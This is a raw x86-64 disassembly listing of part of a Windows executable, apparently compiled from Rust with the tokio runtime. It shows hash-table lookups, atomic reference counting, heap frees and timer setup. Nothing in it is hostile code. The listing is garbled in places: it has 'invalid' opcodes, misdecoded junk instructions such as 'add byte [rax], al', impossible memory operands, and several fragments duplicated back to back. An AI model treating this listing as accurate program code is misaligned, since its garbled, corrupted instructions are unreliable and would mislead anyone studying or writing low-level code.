mov rax, qword [0x14019f300]
add eax, 0x11b5e0
shl rax, 1
test rax, rax
jne 0x140083d75
xor eax, eax
xchg byte [rsi], al
invalid
cmp al, 2
jne 0x140083d52
invalid
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rax, qword [rsp + 0x20]
lock dec qword [rax]
je 0x140083d5d
test bpl, bpl
je 0x140083b73
jmp 0x140083b7d
mov rax, qword [rsp + 0x20]
lock dec qword [rax]
jne 0x140083d44
lea rcx, [rsp + 0x20]
call fcn.1400cb9d0
test bpl, bpl
je 0x140083b73
jmp 0x140083b7d
call fcn.14012bf20
test al, al
jne 0x140083d28
mov byte [r15 + 0x11], 1
jmp 0x140083d28
call fcn.140127900
int3
mov r15, qword [rsp + 0x38]
jmp 0x140084f42
add byte [rax], al
add bl, dh
movq mm0, qword [r14]
movups xmm1, xmmword [r14 + 0x10]
movups xmm2, xmmword [r14 + 0x20]
push rsi
and byte [rdi], cl
sub dword [rsp + 0xe0], edx
loopne 0x140083f0d
add byte [rax], al
push rsi
and byte [rdi], cl
sub dword [rsp + 0xe0], edx
loopne 0x140083f0d
add byte [rax], al
loopne 0x140083f0d
add byte [rax], al
movaps xmmword [rsp + 0xd0], xmm1
movdqa xmmword [rsp + 0xc0], xmm0
mov rax, qword [rsp + 0x98]
cmp qword [rax + 0x88], 0
je 0x140084749
mov rsi, qword [rsp + 0x98]
lea rax, [rsi + 0x70]
mov qword [rsp + 0x1b0], rax
mov rcx, qword [rsi + 0x90]
mov rdx, qword [rsi + 0x98]
mov rbx, qword [rsp + 0x38]
mov r8, rbx
call fcn.1400a7ed0
mov r14, qword [rsi + 0x70]
mov rdi, qword [rsi + 0x78]
mov r12, rdi
and r12, rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm6, xmm0, 0
lea rsi, [r14 - 0x50]
lea r15, [rbx + 0x10]
mov qword [rsp + 0x30], 0
pcmpeqd xmm7, xmm7
movdqu xmm8, xmmword [r14 + r12]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm6
pmovmskb ebp, xmm0
test ebp, ebp
jne 0x140083ffa
pcmpeqb xmm8, xmm7
pmovmskb eax, xmm8
test eax, eax
jne 0x140084749
mov rax, qword [rsp + 0x30]
add r12, rax
add r12, 0x10
add rax, 0x10
mov qword [rsp + 0x30], rax
and r12, rdi
jmp 0x140083f9e
lea eax, [rbp - 1]
and ax, bp
mov ebp, eax
je 0x140083fb5
tzcnt eax, ebp
add rax, r12
and rax, rdi
neg rax
lea r13, [rax + rax*4]
shl r13, 4
lea rbx, [rsi + r13]
mov rcx, qword [rsp + 0x38]
mov rdx, rbx
call fcn.1400260b0
test al, al
je 0x140083ff0
add rbx, 0x10
mov rcx, r15
mov rdx, rbx
call fcn.140023870
test al, al
je 0x140083ff0
mov rax, qword [r14 + r13 - 8]
test rax, rax
je 0x140084702
add r14, r13
xor edi, edi
jmp 0x1400840d5
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rbx
mov byte [rsp + 0xd0], dil
mov eax, dword [rsp + 0x90]
mov ecx, dword [rsp + 0x93]
lea rdx, [rsp + 0xf2]
mov dword [rdx - 0x1e], ecx
mov dword [rdx - 0x21], eax
mov qword [rsp + 0xd8], r13
mov qword [rsp + 0xe0], r15
mov qword [rsp + 0xe8], r12
movzx eax, byte [rsp + 0xa0]
mov byte [rsp + 0xf0], al
mov byte [rsp + 0xf1], bpl
movzx eax, word [rsp + 0x44]
mov word [rdx + 4], ax
mov eax, dword [rsp + 0x40]
mov dword [rdx], eax
xor edi, edi
mov rax, qword [r14 - 8]
test rax, rax
je 0x140084702
mov rcx, qword [r14 - 0x10]
lea rdx, [rcx + 1]
mov r8, qword [r14 - 0x20]
mov r9, qword [r14 - 0x18]
cmp rdx, r8
cmovb r8, rdi
neg r8
lea rdx, [rcx + r8]
inc rdx
mov qword [r14 - 0x10], rdx
dec rax
mov qword [r14 - 8], rax
mov rax, qword [r9 + rcx*8]
mov qword [rsp + 0x100], rax
movzx eax, byte [rax + 0x80]
test al, al
je 0x140084160
mov rsi, qword [rsp + 0x100]
mov al, 1
xchg byte [rsi + 0x80], al
mov al, 1
xchg byte [rsi + 0x60], al
test al, al
je 0x140084210
mov al, 1
xchg byte [rsi + 0x78], al
test al, al
je 0x1400842c0
mov rax, qword [rsp + 0x100]
lock dec qword [rax]
jne 0x1400840c8
jmp 0x1400842ef
mov qword [rsp + 0xb0], r15
mov qword [rsp + 0x120], r13
movzx ebp, byte [rsp + 0xf1]
mov byte [rsp + 0xf1], 2
cmp bpl, 2
je 0x140085488
mov rdi, rbx
mov r8, qword [rsp + 0xc0]
mov rbx, qword [rsp + 0xc8]
movzx esi, byte [rsp + 0xd0]
mov r13, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0xe0]
mov r10, qword [rsp + 0xe8]
movzx r9d, byte [rsp + 0xf0]
cmp sil, 2
mov qword [rsp + 0xf8], r12
jne 0x140084243
mov esi, r9d
test r13, r13
je 0x140084301
mov rcx, r13
mov r13, r10
mov r12, r8
call qword [rdx + 0x18]
mov r8, r12
mov r10, r13
mov r13, rax
lock inc qword [r10]
jg 0x14008430e
jmp 0x140085481
mov rax, qword [rsi + 0x50]
mov rcx, qword [rsi + 0x58]
mov qword [rsi + 0x50], 0
test rax, rax
je 0x1400842aa
xor edx, edx
xchg byte [rsi + 0x60], dl
call qword [rax + 8]
mov al, 1
xchg byte [rsi + 0x78], al
test al, al
jne 0x140084142
jmp 0x1400842c0
lea rax, [rsp + 0xf2]
mov r12, r8
mov r8, rax
movzx eax, word [rax + 4]
mov word [rsp + 0x164], ax
mov ecx, dword [r8]
mov dword [rsp + 0x160], ecx
mov r11d, dword [r8 - 0x21]
mov r8d, dword [r8 - 0x1e]
mov dword [rsp + 0x50], r11d
mov dword [rsp + 0x53], r8d
mov r11d, dword [rsp + 0x50]
mov r8d, dword [rsp + 0x53]
mov dword [rsp + 0xa8], r11d
mov dword [rsp + 0xab], r8d
mov r8, r12
mov dword [rsp + 0xb8], ecx
mov word [rsp + 0xbc], ax
jmp 0x14008435d
xor eax, eax
xchg byte [rsi + 0x60], al
mov al, 1
xchg byte [rsi + 0x78], al
test al, al
jne 0x140084142
nop dword [rax]
mov rax, qword [rsi + 0x68]
mov rcx, qword [rsi + 0x70]
mov qword [rsi + 0x68], 0
test rax, rax
je 0x1400842d8
call qword [rax + 0x18]
xor eax, eax
xchg byte [rsi + 0x78], al
mov rax, qword [rsp + 0x100]
lock dec qword [rax]
jne 0x1400840c8
lea rcx, [rsp + 0x100]
call fcn.1400cb680
jmp 0x1400840c8
xor r13d, r13d
lock inc qword [r10]
jle 0x140085481
lock inc qword [r8]
jle 0x140085481
lock inc qword [rbx + 0x1c8]
lock inc qword [rbx]
jle 0x140085481
mov r9d, esi
lea rcx, [rsp + 0xf2]
movzx eax, word [rcx + 4]
mov word [rsp + 0x164], ax
mov eax, dword [rcx]
mov dword [rsp + 0x160], eax
mov byte [rsp + 0xd0], 2
mov byte [rsp + 0xf1], bpl
mov sil, 2
mov r12, qword [rsp + 0x100]
mov eax, dword [rsp + 0xa8]
mov ecx, dword [rsp + 0xab]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x2b], ecx
mov eax, dword [rsp + 0xb8]
mov dword [rsp + 0x48], eax
movzx eax, word [rsp + 0xbc]
mov word [rsp + 0x4c], ax
mov qword [rsp + 0x160], r12
movzx eax, byte [r12 + 0x80]
test al, al
jne 0x1400843b7
mov al, 1
xchg byte [r12 + 0x48], al
test al, al
je 0x140084492
fild dword [rax]
add byte [rax], al
fild dword [rax]
add byte [rax], al
mov eax, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x2b]
mov dword [rsp + 0x93], ecx
mov dword [rsp + 0x90], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x40], eax
movzx eax, word [rsp + 0x4c]
mov word [rsp + 0x44], ax
mov qword [rsp + 0x30], r8
mov edi, esi
mov r15, rdx
mov r12, r10
mov byte [rsp + 0xa0], r9b
mov rsi, qword [rsp + 0x160]
mov al, 1
xchg byte [rsi + 0x80], al
mov al, 1
xchg byte [rsi + 0x60], al
test al, al
je 0x140084463
mov al, 1
xchg byte [rsi + 0x78], al
test al, al
je 0x140084596
mov rax, qword [rsp + 0x160]
lock dec qword [rax]
je 0x1400845c5
movzx ecx, byte [rsp + 0xf1]
cmp bpl, 2
mov byte [rsp + 0x27], dil
jne 0x1400845e9
mov rax, qword [r14 - 8]
cmp cl, 2
je 0x1400846fd
test rax, rax
mov edi, 0
jne 0x1400840d5
jmp 0x140084702
mov rax, qword [rsi + 0x50]
mov rcx, qword [rsi + 0x58]
mov qword [rsi + 0x50], 0
test rax, rax
je 0x140084584
xor edx, edx
xchg byte [rsi + 0x60], dl
call qword [rax + 8]
mov al, 1
xchg byte [rsi + 0x78], al
test al, al
jne 0x14008441a
jmp 0x140084596
mov qword [rsp + 0x198], r8
mov qword [rsp + 0x1a0], rdx
mov qword [rsp + 0x1a8], r10
mov byte [rsp + 0x2f], r9b
cmp byte [r12 + 0x41], 2
jne 0x1400854a0
lea r15, [r12 + 0x10]
mov rcx, r15
call fcn.14005c2b0
mov rax, qword [rsp + 0x198]
mov qword [r12 + 0x10], rax
mov qword [r12 + 0x18], rbx
mov byte [r12 + 0x20], sil
mov eax, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x2b]
mov dword [r12 + 0x21], eax
mov dword [r12 + 0x24], ecx
mov qword [r12 + 0x28], r13
mov rax, qword [rsp + 0x1a0]
mov qword [r12 + 0x30], rax
mov rax, qword [rsp + 0x1a8]
mov qword [r12 + 0x38], rax
movzx eax, byte [rsp + 0x2f]
mov byte [r12 + 0x40], al
mov byte [r12 + 0x41], bpl
mov eax, dword [rsp + 0x48]
mov dword [r12 + 0x42], eax
movzx eax, word [rsp + 0x4c]
mov word [r12 + 0x46], ax
xor eax, eax
xchg byte [r12 + 0x48], al
movzx eax, byte [r12 + 0x80]
mov bpl, 2
test al, al
je 0x140084604
mov al, 1
xchg byte [r12 + 0x48], al
test al, al
mov rcx, qword [rsp + 0x30]
mov rbx, rdi
mov r13, qword [rsp + 0x120]
je 0x14008461e
mov qword [rsp + 0x30], rcx
movzx edi, byte [rsp + 0x27]
mov r15, qword [rsp + 0xb0]
jmp 0x140084683
xor eax, eax
xchg byte [rsi + 0x60], al
mov al, 1
xchg byte [rsi + 0x78], al
test al, al
jne 0x14008441a
mov rax, qword [rsi + 0x68]
mov rcx, qword [rsi + 0x70]
mov qword [rsi + 0x68], 0
test rax, rax
je 0x1400845ae
call qword [rax + 0x18]
xor eax, eax
xchg byte [rsi + 0x78], al
mov rax, qword [rsp + 0x160]
lock dec qword [rax]
jne 0x14008442c
lea rcx, [rsp + 0x160]
call fcn.1400cb680
movzx ecx, byte [rsp + 0xf1]
cmp bpl, 2
mov byte [rsp + 0x27], dil
je 0x140084443
cmp cl, 2
je 0x14008404f
lea rcx, [rsp + 0xc0]
call fcn.1400837b0
jmp 0x14008404f
mov rbx, rdi
movzx edi, byte [rsp + 0x27]
mov r13, qword [rsp + 0x120]
mov r15, qword [rsp + 0xb0]
jmp 0x140084683
mov rax, qword [r15 + 0x30]
mov qword [rsp + 0x80], rax
movdqu xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movaps xmmword [rsp + 0x70], xmm2
movaps xmmword [rsp + 0x60], xmm1
movdqa xmmword [rsp + 0x50], xmm0
mov byte [r12 + 0x41], 2
movzx ebp, byte [rsp + 0x81]
cmp bpl, 2
movzx edi, byte [rsp + 0x27]
mov r15, qword [rsp + 0xb0]
jne 0x140084690
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x50]
call fcn.14005c2b0
xor eax, eax
xchg byte [r12 + 0x48], al
mov bpl, 2
mov r12, qword [rsp + 0xf8]
jmp 0x1400843f4
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov rbx, qword [rsp + 0x58]
movzx edi, byte [rsp + 0x60]
mov eax, dword [r12 + 0x21]
mov ecx, dword [r12 + 0x24]
mov dword [rsp + 0x90], eax
mov dword [rsp + 0x93], ecx
mov r13, qword [rsp + 0x68]
mov r15, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
movzx eax, byte [rsp + 0x80]
mov byte [rsp + 0xa0], al
mov eax, dword [r12 + 0x42]
mov dword [rsp + 0x40], eax
movzx eax, word [r12 + 0x46]
mov word [rsp + 0x44], ax
xor eax, eax
xchg byte [r12 + 0x48], al
mov r12, rcx
jmp 0x1400843f4
test rax, rax
jne 0x140084749
lea rcx, [rsp + 0x50]
push rax
mov rdx, qword [rsp + 0x1b0]
mov r8, qword [rsp + 0x38]
call fcn.1400cefe0
mov rsi, qword [rsp + 0x50]
mov rax, rsi
neg rax
jo 0x140084749
lea rcx, [rsp + 0x50]
call fcn.140081f50
test rsi, rsi
je 0x140084749
mov r8, qword [rsp + 0x58]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp byte [rsp + 0xf1], 2
mov r15, qword [rsp + 0x38]
je 0x140084f42
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x190], rax
add byte [rdi], cl
sub byte [rsp + 0xc0], al
add byte [rdi], cl
sub byte [rsp + 0xc0], al
movaps xmm1, xmmword [rsp + 0xd0]
movaps xmm2, xmmword [rsp + 0xe0]
add byte [rdi], cl
sub byte [rsp + 0xe0], dl
movaps xmmword [rsp + 0x180], xmm2
movaps xmmword [rsp + 0x170], xmm1
movaps xmmword [rsp + 0x160], xmm0
movzx esi, byte [r15]
test esi, esi
je 0x1400847b0
cmp esi, 1
jne 0x1400847b2
movzx eax, byte [r15 + 1]
jmp 0x140084805
jmp 0x140084805
mov rdi, qword [r15 + 8]
movzx eax, byte [0x14019f308]
mov edx, 0x20
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400854c4
mov rbx, rax
lea rdx, [rdi + 0x18]
mov rax, qword [rdi]
mov r8, qword [rdi + 8]
mov r9, qword [rdi + 0x10]
lea rcx, [rsp + 0x100]
call qword [rax]
movups xmm0, xmmword [rsp + 0x100]
movups xmm1, xmmword [rsp + 0x110]
movups xmmword [rbx + 0x10], xmm1
movups xmmword [rbx], xmm0
mov byte [rsp + 0x50], sil
mov byte [rsp + 0x51], al
mov qword [rsp + 0x58], rbx
lea r12, [rsp + 0x60]
lea rdx, [r15 + 0x28]
mov rax, qword [r15 + 0x10]
mov r8, qword [r15 + 0x18]
mov r9, qword [r15 + 0x20]
mov rcx, r12
call qword [rax]
mov rdi, qword [rsp + 0x98]
lea rax, [rdi + 0x40]
mov qword [rsp + 0xa0], rax
mov rcx, qword [rdi + 0x60]
mov rdx, qword [rdi + 0x68]
lea r13, [rsp + 0x50]
mov r8, r13
call fcn.1400a7ed0
mov r14, rax
shr rax, 0x39
mov rsi, qword [rdi + 0x40]
mov r15, qword [rdi + 0x48]
mov rbp, r15
and rbp, r14
mov qword [rsp + 0xb0], rax
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm6, xmm0, 0
xor eax, eax
pcmpeqd xmm7, xmm7
mov qword [rsp + 0x30], rax
movdqu xmm8, xmmword [rsi + rbp]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm6
pmovmskb ebx, xmm0
test ebx, ebx
jne 0x1400848da
pcmpeqb xmm8, xmm7
pmovmskb eax, xmm8
test eax, eax
mov rax, qword [rsp + 0x30]
jne 0x140084e0a
add rbp, rax
add rbp, 0x10
add rax, 0x10
and rbp, r15
jmp 0x14008488b
lea eax, [rbx - 1]
and ax, bx
mov ebx, eax
je 0x1400848a7
tzcnt eax, ebx
add rax, rbp
and rax, r15
neg rax
lea rdi, [rax + rax*8]
lea rcx, [rsi + rdi*8]
add rcx, 0xffffffffffffffb8
mov rdx, r13
call fcn.1400260b0
test al, al
je 0x1400848d0
lea rdi, [rsi + rdi*8]
lea rcx, [rdi - 0x38]
mov rdx, r12
call fcn.140023870
test al, al
je 0x1400848d0
movups xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
movups xmm2, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x1e0], xmm2
movaps xmmword [rsp + 0x1d0], xmm1
movaps xmmword [rsp + 0x1c0], xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x70], xmm2
movaps xmmword [rsp + 0x60], xmm1
sub dword [rsp + 0x60], ecx
sub dword [rsp + 0x60], ecx
mov qword [rsp + 0x80], rdi
mov rax, qword [rsp + 0xa0]
movabs al, byte [0x8824848948000000]
add byte [rax], al
add byte [rdi], cl
mov dh, 0x44
and al, 0x50
movabs al, byte [0x8824848948000000]
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rdi], cl
mov dh, 0x44
and al, 0x50
cmp al, 3
mov r15, qword [rsp + 0x38]
mov r12, qword [rsp + 0x98]
je 0x1400849bb
cmp al, 2
jb 0x1400849a4
mov rbx, qword [rsp + 0x58]
lea rcx, [rbx + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x78]
mov rax, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x70]
call qword [rax + 0x10]
mov rax, qword [r12 + 0xa0]
cmp rax, qword [rdi - 8]
jbe 0x140084f35
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x80], rax
movaps xmm0, xmmword [rsp + 0x160]
movaps xmm1, xmmword [rsp + 0x170]
movaps xmm2, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0x70], xmm2
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
call fcn.1400f8930
mov rbx, rax
mov ebp, edx
mov rsi, qword [rdi - 8]
cmp rsi, qword [rdi - 0x18]
jne 0x140084a21
lea rcx, [rdi - 0x18]
call fcn.14001c810
mov rax, qword [rdi - 0x10]
lea rcx, [rsi + rsi*8]
mov rdx, qword [rsp + 0x80]
mov qword [rax + rcx*8 + 0x30], rdx
movdqa xmm0, xmmword [rsp + 0x50]
movaps xmm1, xmmword [rsp + 0x60]
movaps xmm2, xmmword [rsp + 0x70]
movups xmmword [rax + rcx*8 + 0x20], xmm2
movups xmmword [rax + rcx*8 + 0x10], xmm1
movdqu xmmword [rax + rcx*8], xmm0
mov qword [rax + rcx*8 + 0x38], rbx
mov dword [rax + rcx*8 + 0x40], ebp
inc rsi
mov qword [rdi - 8], rsi
cmp qword [r12 + 0xa8], 0
setne al
mov ebx, dword [r12 + 0xb8]
cmp ebx, 0x3b9aca00
sete cl
or cl, al
jne 0x140084f42
mov r13, qword [r12 + 0xb0]
movzx eax, byte [0x14019f308]
test al, 0x11
add byte [rdx + 0x48], bh
test al, 0x11
add byte [rdx + 0x48], bh
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400854d3
mov r14, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], 0
mov byte [rax + 0x20], 0
mov qword [rax + 0x28], 0
mov byte [rax + 0x38], 0
mov word [rax + 0x40], 0
lock inc qword [rax]
jle 0x140085481
mov qword [r12 + 0xa8], r14
test r13, r13
setne al
test ebx, ebx
setne cl
or cl, al
je 0x1400854e2
call fcn.1400f8930
mov r15, rax
mov ebp, edx
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x140084b47
cmp eax, 1
je 0x140084b74
mov al, 1
mov byte [rsp + 0x50], al
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_timeinterval.rs
lea rcx, [rsp + 0x50]
call fcn.140127580
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rsi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0xd8]
movabs rax, 0x7ffffffffffffffe
cmp rcx, rax
ja 0x1400854b8
lea rax, [rcx + 1]
mov edx, dword [0x14019f30c]
mov r8, qword gs:[0x58]
mov rdx, qword [r8 + rdx*8]
mov qword [rdx + 0xd8], rax
mov rax, qword [rdx + 0xe0]
cmp rax, 2
je 0x14008551b
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rdi, qword [rcx + 0xe8]
mov ecx, 1
mov edx, 1
lock xadd qword [rdi], rdx
test al, 1
je 0x140084c07
test rdx, rdx
jns 0x140084c12
jmp 0x140085481
test rdx, rdx
js 0x140085481
xor ecx, ecx
mov edx, dword [0x14019f30c]
mov r8, qword gs:[0x58]
mov rdx, qword [r8 + rdx*8]
dec qword [rdx + 0xd8]
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0x108], rdi
lea rdx, [rdi + 0xb8]
lea r8, [rdi + 0x118]
test rcx, rcx
cmovne rdx, r8
cmp dword [rdx + 0xa8], 0x3b9aca00
je 0x14008554c
mov esi, 1
mov edx, 1
lock xadd qword [rdi], rdx
test cl, cl
je 0x140084c7e
test rdx, rdx
jns 0x140084c89
jmp 0x140085481
test rdx, rdx
js 0x140085481
xor esi, esi
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x64], xmm0
movdqu xmmword [rsp + 0x54], xmm0
lock dec qword [rdi]
lea rcx, [rsp + 0x108]
sete dl
test al, 1
je 0x140084cb7
test dl, dl
je 0x140084cc0
call fcn.1400fed10
jmp 0x140084cc0
test dl, dl
je 0x140084cc0
call fcn.1400fe820
movzx eax, byte [0x14019f308]
mov edx, 0x70
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
ror byte [rdi], 0x84
mov byte [rax], cl
add byte [rax], al
ror byte [rdi], 0x84
mov byte [rax], cl
add byte [rax], al
mov r12, rax
mov qword [rax], rsi
mov qword [rax + 8], rdi
or byte [rcx + rcx*4 + 0x78], cl
adc byte [rcx + 0xff31868], cl
push 0x6f0ff318
and al, 0x50
or byte [rcx + rcx*4 + 0x78], cl
adc byte [rcx + 0xff31868], cl
push 0x6f0ff318
push 0x6f0ff318
and al, 0x50
movups xmm1, xmmword [rsp + 0x60]
movdqu xmmword [rax + 0x1c], xmm0
movups xmmword [rax + 0x2c], xmm1
mov eax, dword [rsp + 0x70]
mov dword [r12 + 0x3c], eax
mov qword [r12 + 0x40], 0xffffffffffffffff
pxor xmm0, xmm0
movdqu xmmword [r12 + 0x48], xmm0
movdqu xmmword [r12 + 0x51], xmm0
mov eax, dword [rsp + 0x100]
mov ecx, dword [rsp + 0x103]
mov dword [r12 + 0x61], eax
mov dword [r12 + 0x64], ecx
mov byte [r12 + 0x68], 0
mov eax, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x2b]
mov dword [r12 + 0x69], eax
mov dword [r12 + 0x6c], ecx
mov rax, qword [rsp + 0x1b8]
mov rsi, qword [rax]
jmp 0x140084d64
pause
mov rax, qword [rsi + 8]
nop dword [rax + rax]
cmp rax, 0xffffffffffffffff
je 0x140084d62
test rax, rax
js 0x140085483
lea rcx, [rax + 1]
lock cmpxchg qword [rsi + 8], rcx
jne 0x140084d70
mov rax, qword [rsp + 0x98]
mov r15, qword [rax]
test r15, r15
je 0x140084fb0
mov rdi, qword [rax + 8]
mov rbp, qword [rdi + 0x10]
movzx eax, byte [0x14019f308]
mov edx, 0x30
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140085573
dec rbp
and rbp, 0xfffffffffffffff0
lea rcx, [r15 + rbp]
add rcx, 0x10
mov qword [rax], r13
mov dword [rax + 8], ebx
mov qword [rax + 0x10], r12
mov byte [rax + 0x18], 0
mov edx, dword [rsp + 0x28]
mov r8d, dword [rsp + 0x2b]
mov dword [rax + 0x19], edx
mov dword [rax + 0x1c], r8d
mov qword [rax + 0x20], r14
mov qword [rax + 0x28], rsi
lea r8, fcn.140058da0
mov rdx, rax
call qword [rdi + 0x18]
jmp 0x140083ee2
mov r12, qword [rsp + 0x98]
cmp qword [r12 + 0x50], 0
je 0x140085446
movups xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
movups xmm2, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x1e0], xmm2
movaps xmmword [rsp + 0x1d0], xmm1
movaps xmmword [rsp + 0x1c0], xmm0
mov rax, qword [r12 + 0x40]
mov rcx, qword [r12 + 0x48]
and r14, rcx
movdqu xmm0, xmmword [rax + r14]
pmovmskb edx, xmm0
test edx, edx
mov r15, qword [rsp + 0x38]
jne 0x140084e88
mov r8d, 0x10
nop dword [rax + rax]
add r14, r8
and r14, rcx
movdqu xmm0, xmmword [rax + r14]
pmovmskb edx, xmm0
add r8, 0x10
test edx, edx
je 0x140084e70
tzcnt edx, edx
add rdx, r14
and rdx, rcx
movzx r8d, byte [rax + rdx]
test r8b, r8b
js 0x140084ead
movdqa xmm0, xmmword [rax]
pmovmskb edx, xmm0
tzcnt edx, edx
movzx r8d, byte [rax + rdx]
lea r9, [rdx - 0x10]
and r9, rcx
mov rcx, qword [rsp + 0xb0]
mov byte [rax + rdx], cl
mov byte [rax + r9 + 0x10], cl
neg rdx
lea rcx, [rdx + rdx*8]
lea rdi, [rax + rcx*8]
and r8b, 1
movzx edx, r8b
sub qword [r12 + 0x50], rdx
movaps xmm0, xmmword [rsp + 0x1c0]
movaps xmm1, xmmword [rsp + 0x1d0]
movaps xmm2, xmmword [rsp + 0x1e0]
movups xmmword [rax + rcx*8 - 0x28], xmm2
movups xmmword [rax + rcx*8 - 0x38], xmm1
movups xmmword [rax + rcx*8 - 0x48], xmm0
mov qword [rax + rcx*8 - 0x18], 0
mov qword [rax + rcx*8 - 0x10], 8
mov qword [rax + rcx*8 - 8], 0
inc qword [r12 + 0x58]
mov rax, qword [r12 + 0xa0]
cmp rax, qword [rdi - 8]
ja 0x1400849cd
lea rcx, [rsp + 0x160]
call fcn.1400837b0
cmp byte [r15], 2
jb 0x140084f70
mov rdi, qword [r15 + 8]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [r15 + 0x28]
mov rax, qword [r15 + 0x10]
mov rdx, qword [r15 + 0x18]
mov r8, qword [r15 + 0x20]
call qword [rax + 0x10]
movaps xmm6, xmmword [rsp + 0x1f0]
movaps xmm7, xmmword [rsp + 0x200]
movaps xmm8, xmmword [rsp + 0x210]
add rsp, 0x228
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov eax, 1
lock xadd qword [0x14019f060], rax
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x128], r13
mov dword [rsp + 0x130], ebx
mov qword [rsp + 0x138], r12
mov byte [rsp + 0x140], 0
mov eax, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x2b]
mov dword [rsp + 0x141], eax
mov dword [rsp + 0x144], ecx
mov qword [rsp + 0x148], r14
mov qword [rsp + 0x150], rsi
lea rax, [rsp + 0x100]
mov qword [rsp + 0x158], rax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x140085071
cmp eax, 1
mov r15, qword [rsp + 0x38]
movabs rdx, 0x7ffffffffffffffe
je 0x1400850ad
lea rcx, [rsp + 0x128]
call fcn.140058da0
mov al, 1
mov byte [rsp + 0x50], al
lea rdx, [0x140158760]
lea rcx, [rsp + 0x50]
call fcn.140127580
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd8]
lea rdx, [0x140070690]
call fcn.1400ed020
mov byte [rsi + 0x128], 1
mov r15, qword [rsp + 0x38]
movabs rdx, 0x7ffffffffffffffe
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd8]
fadd dword [rax]
add byte [rax], al
fadd dword [rax]
add byte [rax], al
cmp rax, rdx
ja 0x1400854b8
inc rax
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd8], rax
mov rax, qword [rcx + 0xe0]
cmp rax, 2
je 0x140085582
mov rcx, qword [rsp + 0x158]
mov r14, qword [rcx]
test al, 1
je 0x140085275
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rsi, qword [rax + 0xe8]
lock inc qword [rsi]
jle 0x140085481
movzx eax, byte [0x14019f308]
mov edx, 0x100
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400855c0
mov rdi, rax
and rdi, 0xffffffffffffff80
mov qword [rdi + 0x78], rax
mov qword [rdi + 0x80], 0xcc
mov qword [rdi + 0x88], 0
lea rax, str._8_t_
mov qword [rdi + 0x90], rax
mov qword [rdi + 0x98], 0
